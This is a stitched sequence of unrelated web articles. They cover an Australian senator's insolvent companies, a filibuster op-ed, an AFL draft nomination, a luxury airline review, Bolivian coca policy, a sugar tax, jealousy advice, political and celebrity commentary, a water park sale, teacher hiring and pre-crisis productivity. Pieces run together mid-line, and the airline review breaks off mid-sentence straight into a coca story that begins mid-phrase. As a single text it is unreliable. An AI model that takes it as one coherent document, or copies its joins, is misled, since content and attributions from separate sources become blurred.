Then director Senator Culleton placed Deqmo in external administration earlier this month, with creditors' claims totalling $4.8 million.
The Supreme Court on Thursday ordered that company be wound up in insolvency.
Wheatbelt locals 'disgusted' by former farmer's election
The One Nation senator has served as director of three companies that have gone into administration, with creditors claiming they were owed a combined total of more than $11 million.
One creditor from former wool-buying business Culletons Pty Ltd, Wagin Shire President Phil Blight, said it had given him a bad name in the region.
"My 40th birthday present was a call from the administrators saying this company had gone into administration, owed us money, owed a lot of people in the area money," he said.
"[There was] something around 100, 120 wool growers I think it was at the time plus their was a lot of small businesses like mechanics, retail outlets, motor vehicle franchises, that sort of thing."
Senator Culleton declined 7.30's request for an interview but said he was "a very good businessman" who had merely found himself captain of several ships in rough waters.
Mr Blight said he was "disgusted" when Senator Culleton was voted in.
"All of those companies have failed under Rodney's directorship so it's hard to see at the pointy end of setting the budget for Australia that this fellow knows what he's doing," he said.
Senator Culleton is also being pursued by former Wesfarmers director Dick Lester for an order to pay $205,000, which Senator Culleton is appealing.
Senator Culleton said he failed to see the relevance of his past financial dealings.
He is also suing 18 people for defamation over Facebook comments about a 60 Minutes story he was featured in about farm foreclosures.
Topics: federal-elections, federal-parliament, one-nation, wa
First postedIn most "democratic" countries, whether they have parliamentary or a form of presidential government, opposition leaders traditionally step aside following a defeat. Gordon Brown, the ousted British Labor Party leader, made news only because he visited Malala Yousufzai, the young Pakistani girl shot by the Taliban for advocating the right of girls to be educated. So much for typical functions of defeated leaders.
Mitch McConnell, the Republican Senate leader and the de facto opposition leader in the United States, knows no such sense of loss. Two years ago, McConnell announced that "the single most important thing we want to achieve is for President Obama to be a one-term president." He meant every word of that promise, and he scored a new standard for opposition, invoking a filibuster more than 300 times, and effectively blocking presidential initiatives, whether job creation, tax increases, or merely threatening to block an Elizabeth Warren nomination, the president's believed choice, to head the newly-created Consumer Affairs agency -- be careful of what you wish for.
Following the president's reelection, McConnell remained intransigent and coldly reacted: "The voters have not endorsed the failures or excesses of the president's first term," harmonizing petulance and disappointment, McConnell said it was time for a solution to the president's failure to lead. President Obama should "propose solutions that actually have a chance of passing the Republican-controlled House," he said, "and deliver in a way that he did not in his first four years in office."
McConnell wanted the president not to propose his own agenda and policies, but to offer "solutions" that would satisfy Republicans -- and undoubtedly on their own terms. McConnell's boldness knows no boundaries. He urged the president to do a "Clintonian backflip," and then "if he's willing to meet us halfway on some of the biggest issues, it's not inappropriate for us to do business with him." How generous if not comical, for all of Clinton's accommodation and courting only brought him a Republican impeachment and a McConnell vote to convict and remove him from office.
Given that the president's electoral defeat was McConnell's objective, he failed spectacularly, and now it is irrelevant. The Republicans' leader will not resign, to be sure. McConnell's tactics notwithstanding, the Democratic majority in the Senate has increased, and with the addition of more progressives. The nation can have only an indirect effect on the senator's future; only his party and fellow senators have the power to replace him. In all probability, they lack the courage, let alone the wisdom to do so, meaning they, too, are comfortable in their obstructionist roles.
Incidentally, one day following after the election -- besides issuing threats -- it was business as usual for McConnell. He attended a fundraiser in his behalf, with entry fees of $25,000 for PACs and $1,000 for individuals. The contributors, we can be sure, are not looking for much change in the senator.
McConnell is only symptomatic of a larger problem. The filibuster, once rarely used, is now commonplace. It has no place in the constitutional system for it developed over time as an anomalous weapon for the ostensible preservation of "minority rights," but actually to the point of obliterating majority rule.
Filibusters now are weapons of convenience. At one time, southern senators filibustered in desperate efforts to preserve their racially-segregated systems of social control. Like Mafia warriors they brought mattresses and cots to their Senate offices as members engaged in round-the-clock blather that only served to block legislative procedure. At times, the Senate was brought to a standstill for several weeks. Alas! filibusters now are refined to a point where they are easily invoked when a senator announces his opposition, and a cloture vote is taken almost immediately. Some filibuster; and everyone is off to a fundraiser. It borders on a very bad joke.
There may be a way out of this legislative gridlock. The new Senate will have a larger Democratic majority and, most significantly, its progressive wing has been strengthened -- particularly with such newly-elected members as Tammy Baldwin of Wisconsin and Elizabeth Warren of Massachusetts. They and the rest of the majority Democrats were elected to govern, not to paralyze themselves. Senators new and old have no obligation to maintain antiquated, often destructive rules. If there is to be governance, the Democrats must prevail upon majority leader Sen. Harry Reid to propose a new Senate rule requiring only a majority vote to invoke cloture.
Republicans undoubtedly will contend that a two-thirds vote is necessary to change the rules, but they will do so at the cost of conveniently forgetting their own recent history. A few years ago, when Democrats threatened to filibuster Republican judicial nominees, the Republicans responded with their own threat of a "nuclear option," which would have changed the rules requiring only a majority vote to end filibusters on such matters. Democrats readily capitulated.
Both Obama and Reid must realize that a new rule is essential to governance. If the Senate will not reform itself the Democrats themselves will inherit a unique blame of their own. Perhaps there will be an initial effort and even accomplishment of some bipartisan legislation. But it will not last. McConnell reportedly might face a tea party candidate in 2014, and he undoubtedly will tack right. If so, he will be remembered as the John C. Calhoun of the 21st century. In the 1830s, Calhoun devised the notion of a "concurrent majority" to rationalize the South's minority power and control to serve the class of slave masters.
Calhoun's idea was never fully implemented as legislative or constitutional doctrine, but for all practical purposes, it effectively operated to give the South a virtual veto power, truly paralyzing legislative action, whether governance in the territories, with or without slavery, a national transportation system, currency reform, tariff schedules, and other aspects of economic development. In the years leading up to the Civil War, it produced nothing less than dysfunction and a failure to confront the nation's most pressing problems. "And the war came," as Abraham Lincoln famously said.Hawthorn has nominated Next Generation Academy prospect Changkuoth Jiath as a Category B Rookie ahead of the 2017 NAB AFL Draft.
Jiath, who is of African descent, can be selected under the AFL rules that look to boost the numbers of multicultural and indigenous talent in the league's ranks.
The speedy forward spent 2017 playing for both Xavier College and Gippsland Power in the TAC Cup, while also participating in Hawthorn’s Gippsland-based academy.
GM- Recruiting and List Manager Graham Wright said Jiath’s nomination comes off the back of plenty of hard work.
“We’ve been working closely with ‘CJ’ throughout the year, and have been happy with his development,” said Wright.
“He’s very versatile. He can kick goals while playing across half-forward, break the lines on the wing and occasionally run through the midfield.”
Despite the nomination, rival clubs will still have an opportunity to bid on Jiath during the upcoming drafts.
“CJ is subjected to the same bidding process as father-son and Northern Academy players,” Wright explained.
“Over the coming weeks we will assess our draft strategy and determine where he sits in the draft order, before we make our final decision during either the national or rookie draft.”
Learn more about Hawthorn’s Next Generation Academy
Hawthorn also had the option of nominating Devlin Brereton (son of Dermott) and James Langford (son of Chris, brother of Will) as potential father-son selections in the upcoming draft. At this stage, the club has opted not to do so.Pass the organic ice cream and Baileys! An intrepid THR editor tests the ultra-luxe services of American, Delta, JetBlue and United, breezing through security, munching on parsnip mousse and cocooning in a pod at 30,000 feet.
It was 9 a.m., and I was barely functioning on three hours of sleep, having just flown coast-to-coast-to-coast. Fidgeting in my lie-flat leather-trimmed lounger, I just couldn't fathom yet another glass of champagne. So I asked my preternaturally cheery Delta flight attendant if she could make me a mimosa. "Of course I can do that," she said, smiling as she handed me a hot hand towel with tongs. "That's what I'm here for."
In that moment, feeling like I'd woken up on the floor somewhere in Vegas, I knew I had underestimated this seemingly cushy assignment: to compare the top premium flights between Los Angeles and New York City. Between noon on a Tuesday and midnight the following day, I jetted back and forth between the two cities on the carriers that offer lay-flat seating — American, JetBlue, Delta and United. (This trip took place in late March — a simpler time before the term "re-accommodate" had become a viral addition to the air-travel lexicon.) It was a 36-hour vision quest that spanned 10,000 miles and forced me to confront hard choices (lobster roll or lamb shank?). My only job during this mission was to assume a reclined position and weather a perfect storm of luxury and privilege befitting a bicoastal mogul. But up there, sipping a mimosa, I felt unexpected pressure. Fortunately, it subsided as soon as I unfastened the top snap of my jeans.
•••
American First Class: Luxurious Solitude
On Tuesday morning, I was greeted curbside at LAX by a rep with American's Five Star Service who led me into the Flagship First Class entrance. This check-in area is unassuming but a world away from the normal airport chaos just a few yards away. The room was hushed and spare and everyone greeted me by name. The efficiency actually was staggering — within five minutes of stepping out of my Lyft ride, I had checked in, taken an elevator and a series of secret passageways, been escorted to the front of a long security line, put my laptop in a bin and was on my way to the lounge.
The appeal for high-profile Hollywood actors and other power players is obvious — no paparazzi or phone-wielding fans snapping photos, no plebeian security lines, no earthly hassles. For true A-list talent — the morning I was traveling Julie Andrews also was flying to New York, and Julia Roberts and her kids had been there the day before — American and TSA collaborate to empty the queue so no other travelers are in the room when they pass through security. And there's a back entrance to the Admiral's Club so heavy hitters can be escorted into the First Class Lounge without strolling through the main entrance.
The Flagship Lounge at LAX is due for an update in late 2017 that will bring a larger space with sleek, modern furnishing and high-end a la carte dining options. For now, I was forced to make do with a sprawling breakfast buffet (I had a bagel loaded with lox and an assortment of dim sum) and the nicest unattended open bar I've ever set eyes upon. As I prudently drained a couple big bottles of Pellegrino, I enviously watched a trio of finely dressed Japanese businessmen sample the assemblage of single malts, top-shelf vodkas and small-batch tequilas, the unending supply of Taittinger Brut and well-curated California craft beer. Not hitting that bar was both the smartest and the dumbest thing I would do all day.
When it was time to board, someone tapped me on the shoulder and led me to my flight. I never once looked at a screen or a boarding pass or even paused to consider what gate was mine; I just followed my Five Star guardian angel. There was a small crowd queued up to board, but I was led to a separate entrance just for the 10 first-class passengers. While other airlines of course have premium transcontinental offerings, American is the only one with three-class seating and a branded first-class product. The smell of the cabin was of fresh leather and old money. The seating is arranged in a reverse herringbone design with one seat on either side of the aisle, so even if I was sharing space with, say, some well-known movie producers and an Oscar-winning actress, we all were alone — our comfy Bose noise-cancelling headphones and padded ottomans mere symbols of our glorious solitude. No other carrier could match the refinement and peacefulness of the next six hours, and I would highly recommend this product to anyone who would like to travel with a spouse or coworker without actually talking to them.
A parade of food and wine helped stave off loneliness. The highlight of my four-course meal surely was the roasted beet and goat cheese timbale, which paired beautifully with a sauvignon blanc from the Loire Valley. I watched Billy Lynn's Long Halftime Walk and contemplated the dark side of American excess until my flight attendant asked if I'd like a freshly baked snickerdoodle, which hit the spot almost as much as the Ben & Jerry's hot fudge sundae. I turned down a glass of port, pulled out the Cole Haan eye mask and lowered my seat to bed mode. The hour that followed was as quiet and uninterrupted as modern life gets, until it was interrupted by a few semi-important work emails.
After I landed, I took a |
long tradition in their country
The UN's International Narcotics Control Board has called on Bolivia to ban coca chewing, and the use of the plant in products such as tea.
Bolivia says such a ban would be an attack on its culture.
Analysts say much of Bolivia's coca harvest goes into cocaine, making it the world's third-largest producer.
Bolivian outrage
Bolivians call coca "the sacred leaf".
They say it has been used by indigenous peoples for centuries to alleviate hunger and tiredness, for medicinal purposes and in religious rituals.
UN conventions list coca as a dangerous substance, along with cocaine and opium.
Last week, an annual report by the International Narcotics Control Board reminded Bolivia that coca leaves could legally be used for medical and scientific purposes only.
Bolivia, and neighbouring Peru, should "abolish or prohibit activities... such as coca leaf chewing and the manufacture of coca tea", the report said.
The report has sparked outrage in Bolivia.
"We won't accept it because coca is our culture, our tradition. We will defend it because coca for us is also food," said Geronimo Meneces, Bolivia's Vice-Minister of Coca and Integral Development.
Bolivian President Evo Morales has agreed to reduce the number of coca plantations, limiting production for "traditional" uses such as leaf chewing and tea.The effect was greatest on lower-income households, according to the Mexican National Institute of Public Health and the University of North Carolina.
A sugar tax in Australia would work in the same way as taxes on alcohol and tobacco, the Heart Foundation says in a submission to the government's tax review.
"[We] recommend the government investigate tax options to increase the price of sugar-sweetened beverages, with the aim of changing purchasing habits and achieving healthier diets," it says.
But the Food and Grocery Council, representing Australia's $114 billion food and grocery processing sector, dedicated several pages of its submission to the same review discrediting the idea of "single-nutrient taxes".
Such taxes "incorrectly assume that nutrient alone may affect an individual's health outcome", the submission says.
"The consumption of sugar, sodium or fat doesn't necessarily cause obesity, non-communicable disease or shortened life expectancy; these outcomes are dependent on factors including lifestyle, physical activity and genetics."
The council cites a failed fat tax in Denmark. "In 2011, the Danish government introduced a tax on food products containing more than 2.3 per cent saturated fat, including butter, dairy products and meat."
"The tax was abolished after one year in the face of a community backlash and the emergence of unintended consequences from the imposition of the tax."
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Australia's last comprehensive tax review, headed by former Treasury secretary Ken Henry, rejected the idea of a tax on fatty foods in 2010.
Nevertheless, the now defunct Australian National Preventative Health Agency approved a $463,000 study of the potential effects of such a levy. The agency was junked by the Abbott government and it is unclear what happened to the study.
Gary Sacks, a leading obesity researcher at Deakin University and adviser to the World Health Organisation, said price was secondly only to taste in terms of influence on what people buy.
"If you can make unhealthy food more expensive and healthy food cheaper we know that will influence what people buy," he said.
"We also know from other public health issues like alcohol and tobacco that taxes have been very successful in shifting consumption away from unhealthy products."
Dr Sacks said the Denmark tax worked in that it lowered consumption of fatty foods but was axed "largely due to political pressure from the food industry".
"A report out of Mexico this week shows consumption of soft drinks had decreased since they put the tax on so we've got really strong evidence that these things do work."This guest article from YourTango was written by Susie And Otto Collins.
Jealousy in a relationship can cause you to say things you later regret. You grill your partner about who she had lunch with. You interrogate your boyfriend about who he was just talking to on the phone. You accuse your spouse of flirting.
Jealousy robs you of your peace of mind and wreaks havoc in your relationship. It comes through in the way you talk and the way you act. Strictly speaking, “stalking” is the illegal act of pursuing or harassing another person, like when paparazzi stalk celebrities.
But did you know that stalking also happens in committed relationships and marriages too? Because of suspicion and jealousy, girlfriends stalk their boyfriends and husbands stalk their spouses.
It’s a dangerous game that’s rooted in worry, fear and confusion. What’s worse is that you might not even know that what you’re doing is considered stalking. Ask yourself these questions:
Do you check your partner’s Facebook page at least once a day?
Do you regularly drive by your partner’s house or workplace just to check for his or her car?
Do you look through the texts and call history on your partner’s phone?
These are just a few ways that people stalk and it’s not healthy for your relationship or for you either!
Stalking usually increases suspicion instead of calming it, even if you don’t find any proof. Your jealous mind will not rest until you’ve checked again. The thought, “What if I didn’t catch the incriminating text?” runs through your mind, wears you down and causes you to doubt your partner’s commitment even more than before.
It also ruins trust. Not only does stalking weaken the bond of trust with your partner, if you get caught spying or checking up on him or her, it’s going to push you two further apart. Stalking is isn’t always a conscious choice which makes it difficult to deal with. You react to feeling jealous by sneaking and picking up her phone without thinking. You alter your route home to see if his car is in the parking lot at work without fully realizing what you’re doing.
More from YourTango:
Getting Rid of Your Jealousy
When your partner says or does things that trigger your jealousy, it feels like you can’t help but stalk them. We want you to know that you can start to make conscious decisions that not only soothe your jealous urges, but improve your relationship.
1. Talk with yourself first.
As you feel that impulse to stalk, notice what you’re doing and stop. Don’t take any action until you have a talk with yourself first. Your self-talk might go something like this, “Hey, I really really want to click on over to Facebook and check my boyfriend’s page. His class reunion was last weekend, and I’m worried that he’s re-connected with his old girlfriend.”
Take a deep breath and continue by saying to yourself, “Okay, is this going to make my jealousy go away? I don’t think so. Will it help me feel close to my boyfriend? Nope. So, instead I’m going to go for a run, and then I’ll text my boyfriend and invite him to meet me for a late dinner together.”
You can literally talk yourself out of being driven by jealousy. Slow down and remind yourself to consider the consequences of stalking before deciding whether or not to go ahead and do what you were compelled to do.
2. Talk with your partner.
Are there times when you’ve got good reason to check up on what your partner says? Definitely! It’s never wise to ignore warning signs that indicate your partner might be lying to you or hiding something. Stick with observable facts, and, in some cases, this might involve doing the very same things that constitute stalking.
The most important thing is for you to know when your jealousy is taking over your decision-making and when clear-seeing is leading the way. For many people, jealous impulses are fear-driven and not linked to facts. Clear-seeing comes with a sense of certainty, even if you don’t like what you’re being pulled to say or do.
When you have reliable proof that your partner is flirting, lying, breaking promises or disrespecting you, communicate with him/her about it. Have a talk where you set boundaries and create agreements to address whatever is going on. If you find out that your partner is having an affair, decide whether or not you’ll stay in the relationship.
Second chances can lead to success, but only if both of you are willing to work together to rebuild trust.
More relationship advice from YourTango:
Jealous in Your Relationship? Stop Stalking & Start TalkingYou would think that someone with decades of experience in politics could avoid a statement that is so far reaching it defies gravity. Then again, maybe being in the political realm for that long is the reason someone would say something so asinine in the first place.
MSNBC contributor and senior counselor at the Albright Stonebridge Group Wendy Sherman asserted that a contributing factor to Hillary Clinton’s loss in last November’s presidential election was the fact that former president Barack Obama is black.
“It was pretty hard to elect a woman after you’ve elected the first African-American president,” Sherman said on a panel at the Aspen Ideas Festival in Aspen, Colo., on Wednesday.
Wow. The Left certainly seems to be grasping at straws as to the reason Clinton lost in the general election. They simply cannot conceive that it was for any other reason than people thought Clinton was, and still is, a fake person -- so much so that 30 states felt that she couldn’t be trusted.
Sherman actually thinks Americans didn't have enough diversity tolerance to elect two minority candidates back-to-back.
Sherman’s thinking is flawed in the sense that the people voted against the constant classification of white, black, man, woman, gay or straight. Essentially, the PC police were served an alternative brand of justice that they still simply can’t wrap their heads around.
Put simply; If Hillary didn’t alienate half the country on a weekly basis, she might have won.
Maybe, just maybe, people need to look in the mirror to see what they’re doing wrong instead of incessantly deflecting blame.
Thank you for supporting MRCTV! As a tax-deductible, charitable organization, we rely on the support of our readers to keep us running! Keep MRCTV going with your gift here!ABC is still raving about Raven, even if some viewers aren’t so keen on the outspoken View co-host. On Saturday, Oct. 31, the network came to the defense of Raven-Symone following a petition to drop her from the daytime talk show.
“We love Raven,” the network said in a statement. “She is confident, genuine and opinionated, all qualities that make her a great addition to the panel.”
PHOTOS: Talk show controversies and feuds
As of Saturday, the petition on Change.org had already garnered over 120,000 signatures in support of removing the 29-year-old co-host from the show, on account of her “ignorant and self hating spiel.”
“African Americans and black people around the diaspora need a voice representative of their views and not a voice representative of what white people want us to say,” the petition read. “We need strong black role models in prominent positions on televisions and Raven-Symone cannot provide that.”
PHOTOS: Celebrity feuds — biggest ever!
The petition, originally created on Thursday, Oct. 29, comes hot on the heels of Raven-Symone’s most recent controversial outburst, this time about her thoughts on the Spring Valley High School assault incident.
The former child star defended the police officer who took extreme measures to punish a girl who refused to get off her cell phone.
PHOTOS: Child stars -- then and now
“The girl was told multiple times to get off the phone,” she said on the segment. “There’s no right or reason for him to be doing this type of harm — that’s ridiculous — but at the same time, you gotta follow the rules in school. First of all, why are there cellphones in school? This shouldn’t even be a problem to begin with, and he shouldn’t have been acting like that on top of it.”
Raven-Symone also previously made controversial comments about how she would not hire an applicant with a “ghetto” name. She later apologized for her off-color remarks, and her father, Christopher B. Permian, even took to Facebook to apologize on her behalf, calling her statements an “inexcusable gaffe.”
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Want stories like these delivered straight to your phone? Download the Us Weekly iPhone app now!Water park sells at half price, but developer promises surf will rise
The past few months have been rough for the Cowabunga Bay Water Park in Henderson.
First, developers said the attraction would open a year late.
Now, they’ve sold the property at a 50 percent discount, less than a year after buying it.
General Manager Shane Huish on Friday sold the 23-acre site for $2.3 million to Tom Welch, of Utah. Huish’s group acquired the property at Gibson Road and Galleria Drive in September for $4.6 million, according to Clark County records.
Huish confirmed the sale and said it puts the partially built water park “in a very good position” to meet its planned April 2014 opening date. He declined to say whether he would continue managing the park or work there in some other capacity.
He did say Cowabunga Bay would keep its name.
“We’re still bringing a water park to Henderson,” he said.
The buyer appears to be the man who led Salt Lake City’s efforts to land the 2002 Winter Olympics.
Tom Welch, who could not be reached for comment, secured the games in 1995 and was president of the Salt Lake Organizing Committee until 1997, when he resigned amid charges of spouse abuse, according to American Journalism Review.
Three years later, federal prosecutors indicted him and fellow Olympic organizer David Johnson on fraud charges, claiming they illegally influenced International Olympic Committee members for their votes, The New York Times reported. A federal judge acquitted them of the charges in 2003.
In Henderson, Welch will take charge of a planned $23 million, 1960s beach-themed water park. Huish’s group had intended to build a 33,000-square-foot wave pool, several clusters of slides, a lazy river and a multilane racing slide that would plunge riders headfirst into a pool.
Developers started construction in December with plans to open the park by Memorial Day weekend.
In April, however, Huish said the park was only half complete and would not open until spring 2014. He said work crews ran into caliche — a concrete-like mix of hardened calcium carbonate, gravel, sand, clay and silt — 15 feet below the ground. He also cited a delay in importing a custom-made water slide from Europe.
“It’s just a very big project to take on in a very little amount of time,” Huish said at the time.
Huish also is general manager of the Cowabunga Bay Water Park in Draper, Utah. His family runs three Family Fun Centers, two in suburban Seattle and one near Portland, Ore.
Meanwhile, Southern Nevada’s other new water park, Wet ’n’ Wild, opened in late May in Summerlin to record crowds.What Qualities Do Principals Look for in a New Teacher?
What will school principals be looking for in the new teachers they hire? That's what Education World asked a group of school principals. The principals' responses might help others—principals and candidates for teaching jobs—as they focus their thoughts on the interviews ahead.
Passion. Enthusiasm. Sensitivity. Heart. Humor.
Those are some of the qualities that principals say they're looking for when interviewing candidates for open teaching positions.
In the weeks ahead, principals will be interviewing hordes of candidates as they seek to fill staff openings. That's why Education World posed these questions to a group of principals:
What are you looking for when you interview a candidate for a teaching position? What is the one essential characteristic you desire most?
I Want It All!
"It's impossible to select one characteristic that sets a teacher candidate apart from others," said Gary Cardwell, principal at Crockett Elementary School (Wichita Falls, Texas). "I would never use a single characteristic to employ a teacher, rather I consider many characteristics as parts of a mosaic that make up an entire picture."
Many principals echoed Cardwell's sentiments—but we persisted, so principals offered their thoughts....
Passion Is the Key
If there's one word that was repeated over and over by principals, it was the word passion.
Passion for knowledge. Passion for teaching. Passion for kids.
"I look for an individual with a passion to receive and impart knowledge, someone who can relay the information they receive to students with diverse abilities," says Sylvia Hooker, newly appointed principal at Fairmount Alternative School in Newnan, Georgia.
"This one quality also includes heart," Hooker adds. "There is a scriptural passage that states 'As a man thinketh in his heart so is he' and also 'Where one's heart lies so shall their treasures be.' I look for one whose heart is open and receptive to teaching children—a person who knows beyond the shadow of a doubt that teaching is the greatest of all professions."
Passion is one of those qualities that can come across clearly in an interview situation, says Bonita Henderson, assistant principal at Pleasant Ridge School, a K-8 school in Cincinnati.
"Passion can be seen in body language, the eyes, gestures, chosen words of speech, and speech inflection," Henderson says. "I look for those things when words are mentioned regarding children, teaching, and learning."
"I feel very passionate about my job and children," Henderson adds, "so I think I know what it feels and looks like."
"I want a teacher with passion and a desire to charge into the 21st Century," says Thomas Beckett, principal at Westminster Primary School in Perth, Western Australia. "I would employ teachers who are keen to change their students lives through education."
"In my school we have a saying that 'learning from a teacher who has stopped learning is like drinking from a stagnant pond,'" adds Beckett. "I want staff that do not avoid change but see it as a challenge. [I want staff who see] technology as a tool that needs to be mastered."
Enthusiasm for teaching is one of the keys, agrees Wendy Clary, principal at the K-5 Mossville (Illinois) Elementary School. "I feel the students need this type of excitement in their classrooms," she says, "and they deserve to be taught by someone who will create a positive, exciting atmosphere for learning."
"A candidate who shows enthusiasm for teaching during the interview shows that he or she will be enthusiastic in their teaching," adds Clary. "This is a difficult skill to acquire. It may be an innate trait."
"I Want... a 'Kid Magnet'"
"The one quality I try to find is a teacher who will be a 'Kid magnet,'" says Steven Podd, principal at Islip (N.Y.) Middle School. "Once a student really connects emotionally to the teacher, then the rest will follow!"
So what qualities do "kid magnets" possess? How can a principal determine whether a candidate has those magnetic qualities that will attract kids?
"Many things might lead me to believe that the candidate is a 'kid magnet,'" says Podd. "Some are based on instinct—a feeling that I get from a young, enthusiastic person who has that je ne sais quoi, that intangible spark that would attract kids. I also look for people who are involved with kids outside of the school setting, especially music groups, theater, and sports. If I ask the right kinds of questions to let the personality of the candidate emerge, I can usually find this quality if it's there."
"Our committee just finished interviewing 26 candidates, and we found three or four with those qualities," Podd adds. "All agreed that the candidates have that special something to become superstars—and we will settle for nothing less!"
Gail Graham, principal at the Whitney Institute Middle School in Bermuda, agrees that a candidate's enthusiasm and their involvement and interest in outside activities can be strong indicators of their success as a teacher. Outside interests are especially important in Graham's school, where the activities/advisory program is a key element of the school's success.
"At the interview stage, the candidate should be interested in the activities program at the school and should respond positively with suggestions of where they would like to be involved," says Graham. "A candidate who says, 'I enjoy skiing, rugby, needlework, singing, whatever...' and then asks how he or she can engage with students in the pursuit of the activity will always rate highly."
"I am also always impressed by a record of volunteer work, especially that which involves young people," adds Graham. "And I also I also try to elicit a willingness to put in extra time before or after the regular school day."
Passion... and Compassion too
"What I've discovered to be the single most important characteristic [in a teacher] would be their compassion for children, as that is the essence of the profession," said Paul McCarty, vice principal at Martins' Achievement School in Sacramento.
"The rest can be learned with time," adds McCarty.
"Compassion" is up there near the top of Gary Cardwell's list too.
"It's obvious that one must have many traits to be a good teacher, but the ability to place oneself in another's place is critical to achieving positive results," says Cardwell. "If a teacher has no understanding of another's feelings, the teacher will most likely be ineffective."
"When empathy and compassion are present along with intelligence, training, knowledge of subject, creativity..." Cardwell adds, "the learning environment is enhanced."
And how can a principal determine whether a candidate has the necessary compassion and empathy?
"I ask leading questions to determine if a teacher has empathy," says Cardwell. "I ask How would you handle a situation where one child is always chosen last? or What would you do for a child who always sits alone at lunch?...."
Strong Interpersonal Skills... and a Sense of Humor
"Stephen Covey (Seven Habits of Highly Effective People) says that any job is twenty percent knowledge and eighty percent interpersonal skills," says Mary Ellen Imbo, principal at Westwood Elementary School in Broken Arrow, Oklahoma. "I am interested in discerning what interpersonal skills a candidate possesses that will 'connect' with the student. This connection—this caring attitude—motivates learners to learn."
"I ask one particular question which seems to separate the wheat from the chaff," Imbo adds. "I ask, 'What do you do to make students successful?'"
"I am interested in a teaching candidate that addresses the whole child," says Imbo. "If the candidate answers the question with a strictly curricular answer, I disqualify him/her."
Paul D'Astoli agrees. D'Astoli—principal at Thomas Carr College (for secondary years 7-8, equivalent to a U.S. middle school) in Tarneit, Victoria, Australia—says: "What I look for when employing staff is the ability to inspire students with the importance of the learning."
"I also look for enthusiasm and for a person who will work as part of a team," adds D'Astoli.
Gary Cardwell agrees. Flexibility is a very important skill, another of those skills that helps to enhance the learning environment, he says.
And a good sense of humor can't hurt!
"Experience in the related field and humor are essential," says John J. Stone, principal at the K-5 Rindge (New Hampshire) Memorial School. "I really feel that an educator needs to have a keen sense of humor in order to keep students and colleagues learning and motivated. Someone who can't take a joke or give one, someone who can't lighten up, someone who is too serious will not survive."
"Teaching can be stressful enough without having someone who can't break the ice at the right time with parents, kids, or other teachers," adds Stone.
Related Articles
Article by Gary Hopkins
Education World® Editor-in-Chief
Copyright © 2017 Education World
Last Updated 04/06/2017Productivity and the crisis: Revisiting the fundamentals
David Brackfield, Joaquim Oliveira Martins
Most narratives of the crisis start with problems in the financial sector that then spilled over into the real economy. This column looks at the real side first and shows that labour productivity growth declined significantly in the years prior to the crisis, particularly in the US construction sector. Financial markets may have failed in that they didn’t detect the deterioration of structural productivity trends in the early 2000s.
Discussions about the current crisis often present events in a sequence, such as that the US sub-prime crisis in August 2007 triggered a major inter-bank credit crisis, which transformed itself into a general credit crisis, the latter having an impact on the real economy and overall business and consumer confidence. However, it is interesting to investigate what was actually happening to the real sector, especially productivity trends, in the major OECD member economies before the crisis. An issue with productivity data, notably multi-factor productivity (MFP), which is a measure of technical progress, is that these data are available with some delay (typically a one- to two- year lag). Nevertheless the data we present below make it clear that labour productivity growth was already slowing down well before the crisis. In particular, the US construction sector, underpinned by loose credit arrangements underpinning, had displayed dismal and worsening productivity performance since 2002.
The vanishing productivity gap
Figure 1 shows annual labour productivity growth in the US, Europe, and Japan since 1997. The US has historically maintained a higher productivity growth rate than Europe, which has usually been attributed to labour conditions (hiring and firing), product market regulation, and the uptake of technology. A striking feature of the graph is the downward convergence to low growth by 2007, which could be dubbed “a race to the bottom”.. It is important to note that this convergence happened before the start of the crisis –the US experienced a labour productivity growth decline since 2004.
Figure 1. EU, US, and Japanese productivity growth
Source: OECD ULC Database
Which sectors are responsible for the slowdown of labour productivity in the US?
Figure 2 breaks aggregate labour productivity into three broad sectors: industry, construction, and market services. While the picture for the industry sector is somewhat volatile, growth rates since 2005 are certainly lower than in the past ten years. The market services sector has also seen a long-term fall in the trend of labour productivity growth since its 1998 peak. However, an important driver in the fall in labour productivity growth for the total economy is construction. The construction sector is around 5% of GDP, but its poor productivity performance has been a significant drag on aggregate productivity. The latter culminates in 2007, with an abysmal -12% labour productivity growth in construction accounting for -0.6 percentage points of aggregate productivity growth. Importantly, these trends started between two to four years before the crisis.
Figure 2. US productivity growth by sector
Source: OECD ULC Database
Price and financial signals were disconnected from productivity fundamentals
Figure 3 shows the disconnection between the productivity trends and the price and financing conditions in the construction and housing sectors. The construction of new dwellings in the US remained high through early 2006; afterwards it started to decline steadily. In parallel, the negative labour productivity growth in the construction sector, after a short improvement in 2005, started again to decelerate strongly during 2006 and 2007. This suggests a serious excess supply problem. In contrast, the housing price bubble was still inflating in 2005; it levelled off during 2006 but only started to decline in the beginning of 2007. It is striking that the boom-years of the mortgage and subprime business (2005-2006) coincides precisely with the periods where the productivity performance was deteriorating rapidly. As if a substantial boost in demand through extended credit conditions could have compensated for the supply-side problems. But the real side of the economy took finally its toll. By mid-2007, it was obvious that the construction sector was unsustainable.
Figure 3. Trends in construction and housing
Source: S&P, Bank of England, OECD MEI, and OECD ULC databases
Stable but low productivity performance continues in the euro area
In the euro area, the first noticeable point about labour productivity growth, with the exception of the industry sector, is its stability and low level. Aggregate labour productivity growth has remained in a one-point range for at least the last ten years. In contrast, the industry sector has fluctuated around the higher value of 3% annual growth. It is worth noting that labour productivity growth in the construction sector has been negative for virtually the whole of the last ten years. Market services had slowly improved their productivity performance since the early 2000s before declining again in 2007.
Figure 4. European productivity trends
Source: OECD ULC Database
Multi-factor productivity had deteriorated in major OECD countries
One of the major drivers of labour productivity is the pace of technical progress, usually measured by multi-factor productivity (see OECD, 2008). Figure 5 presents data from the OECD Productivity Database. MFP trends in the major OECD countries provide additional evidence of the deterioration of the real economy performance in the pre-crisis years for the US and Japan. The picture is less clear and fewer data is available for the Euro area, but in 2007 the low MFP performance is also apparent in France and Germany.
Figure 5. Multi-factor productivity growth
Source: OECD Productivity Database
Conclusions
This brief analysis suggests the financial crisis is not wholly responsible for the deterioration in the real economy. In some sense, financial markets did not detect the deterioration of structural productivity trends in the early 2000s early enough. The latter continued to fuel asset price inflation up to a point where the disconnection became apparent. Economic historians will revisit these numbers in the future, but at least one lesson should be learned – it is important to have timely and reliable information about productivity. Better and timelier statistics may not prevent crises, but they could help agents build more consistent expectations about the future.
References
OECD Compendium of Productivity Indicators (2008), Paris.
OECD System of Unit Labour Cost and Related Indicators Database. Available at: http://stats.oecd.org/wbos/Index.aspx?DataSetCode=ULC_ANN
